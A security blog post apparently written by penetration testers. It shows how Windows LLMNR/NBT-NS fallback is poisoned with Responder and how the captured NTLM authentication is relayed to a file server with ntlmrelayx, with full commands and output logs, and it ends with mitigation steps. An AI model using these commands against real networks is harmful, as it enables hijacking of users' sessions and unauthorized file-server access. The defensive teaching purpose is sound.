If you work in IT for longer than a few years, you know the biggest problem is age. From hardware to software and even your employees: Nobody is spared. All of your suppliers defined some defaults at some point, that might be the most suiting for a lot of customers and that may or may not be secure. The older the components get, the heavier those burdens weight, the harder it becomes to change them and you might be the one eventually paying for this.
Vulnerable by design
Ever heard of broadcast/multicast name resolution protocols? These protocols are great. For attackers. Think of them as a fallback if regular DNS fails. By default, Windows falls back to some legacy protocols every time it can’t translate a hostname to an IP address. It then just “asks” the whole network for help instead of accepting your trusted DNS server that there is really no answer.
It would be great to help all those Windows machines that can’t connect to some server because they don’t exist anymore or have a typo and just tell them that no matter what, they should send the data to us instead. Using the tool called Responder (https://github.com/lgandx/Responder), we can respond to all kind of requests and wait for incoming connections. Again, the older the network, the more likely we get incoming connections by sending poisoned responses within a few minutes or even seconds:
# python Responder.py -I eth0 -wrfd
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
[+] Servers:
HTTP server [OFF]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [10.0.0.254]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Listening for events...
[*] [NBT-NS] Poisoned answer sent to 10.0.0.10 for name WRONGPATH (service: File Server)
[*] [LLMNR] Poisoned answer sent to 10.0.0.10 for name wrongpath
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[*] [LLMNR] Poisoned answer sent to 10.0.0.10 for name wrongpath
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[*] [NBT-NS] Poisoned answer sent to 10.0.0.10 for name WRONGPATH (service: Workstation/Redirector)
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[*] [LLMNR] Poisoned answer sent to 10.0.0.10 for name wrongpath
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[*] [LLMNR] Poisoned answer sent to 10.0.0.10 for name wrongpath
[FINGER] OS Version : Windows 10 Enterprise 16299
[FINGER] Client Version : Windows 10 Enterprise 6.3
[+] Exiting...
Connections incoming… In the log extract above, we can see that a user on the machine 10.0.0.10 mistyped a path and Responder answered with 10.0.0.254, our own IP address. Every time this host tries to connect to the server wrongpath, it actually connects to us instead. So, let’s exploit this.
Relay incoming connections to file servers
Windows handles tons of authentication requests between itself and other hosts automatically for you. Unfortunately, neither of them even tries to make sure their partner is genuine… at least by default. We can abuse this universal trust and use the incoming connections we now receive by Responder to get them to connect and authenticate to a service of our choice. Since the most valuable data is saved on file servers, we try them first.
We use ntlmrelayx from Impacket (https://github.com/SecureAuthCorp/impacket) to achieve this. For any incoming connection, we try to connect to our target via SMB. If the target asks for an authentication, we just pass the request along to the victim. Windows doesn’t ask questions and the server doesn’t ask either when we respond with the data we received from the victim earlier. As soon as the server is happy with “our” authentication, we don’t need the victim anymore and can browse the target as if the victim was browsing it:
# ntlmrelayx.py -t 10.10.10.10 -smb2support -socks
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation
[*] Protocol Client SMB loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client SMTP loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client IMAP loaded..
[*] Running in relay mode to single host
[*] SOCKS proxy started. Listening at port 1080
[*] IMAP Socks Plugin loaded..
[*] HTTPS Socks Plugin loaded..
[*] SMB Socks Plugin loaded..
[*] HTTP Socks Plugin loaded..
[*] SMTP Socks Plugin loaded..
[*] IMAPS Socks Plugin loaded..
[*] MSSQL Socks Plugin loaded..
[*] Setting up HTTP Server
[*] Servers started, waiting for connections
[*] Setting up SMB Server
Type help for list of commands
ntlmrelayx>
* Serving Flask app "impacket.examples.ntlmrelayx.servers.socksserver" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
[*] SMBD-Thread-8: Received connection from 10.0.0.10, attacking target smb://10.10.10.10
[*] Authenticating against smb://10.10.10.10 as WINLAB\penny SUCCEED
[*] SOCKS: Adding WINLAB/PENNY@10.10.10.10(445) to active SOCKS connection. Enjoy
[*] SMBD-Thread-9: Received connection from 10.0.0.10, attacking target smb://10.10.10.10
[*] Authenticating against smb://10.10.10.10 as WINLAB\penny SUCCEED
[*] Relay connection for WINLAB/PENNY at 10.10.10.10(445) already exists. Discarding
[*] HTTPD: Received connection from 10.0.0.10, attacking target smb://10.10.10.10
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] HTTPD: Client requested path: /
[*] Authenticating against smb://10.10.10.10 as WINLAB\penny SUCCEED
[*] Relay connection for WINLAB/PENNY at 10.10.10.10(445) already exists. Discarding
[*] SMBD-Thread-11: Received connection from 10.0.0.10, attacking target smb://10.10.10.10
[*] Authenticating against smb://10.10.10.10 as WINLAB\penny SUCCEED
[*] Relay connection for WINLAB/PENNY at 10.10.10.10(445) already exists. Discarding
ntlmrelayx> socks
Protocol Target Username AdminStatus Port
-------- ------------- ------------ ----------- ----
SMB 10.10.10.10 WINLAB/PENNY FALSE 445
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
[*] SOCKS: Proxying client session for WINLAB/PENNY@10.10.10.10(445)
Our victim from earlier asked for a wrong hostname, we responded that we’re the server it was looking for using Responder and then let it connect to a file server to steal the rights by using ntlmrelayx. Apparently, our victim is the user penny and it just successfully connected to the target file server having the IP address 10.10.10.10. To use the already authenticated connection, we can use proxychains.
Conclusion
Defaults in hard- and software have always been chosen with compatibility and almost never with security in mind. And in the rare cases where it’s the case, they probably only meet the security standards that were current when introducing the new configuration. So, you can’t just “set and forget” without leaving your infrastructure at risk for attacks we don’t know yet.
Piggybacking users at customers to get access to sensitive systems have become a favorite of our analysts and almost something we can rely on to encounter at most assessments.
To mitigate the specific issues described earlier there are three configurations you should change today:
- Enable SMB message signing on all hosts in the Group Policy Editor
- Disable LLMNR through the “Turn off Multicast Name Resolution” setting in the Local Group Policy Editor
- Disable NetBIOS Name Service in the advanced TCP/IP settings of the network card
This gives the possibility to your servers to check connections for their authenticity and prevents your clients from falling back to legacy protocols.
Credits
Special thanks to Fabio Poloni who co-edited this series of articles!
Leave a Reply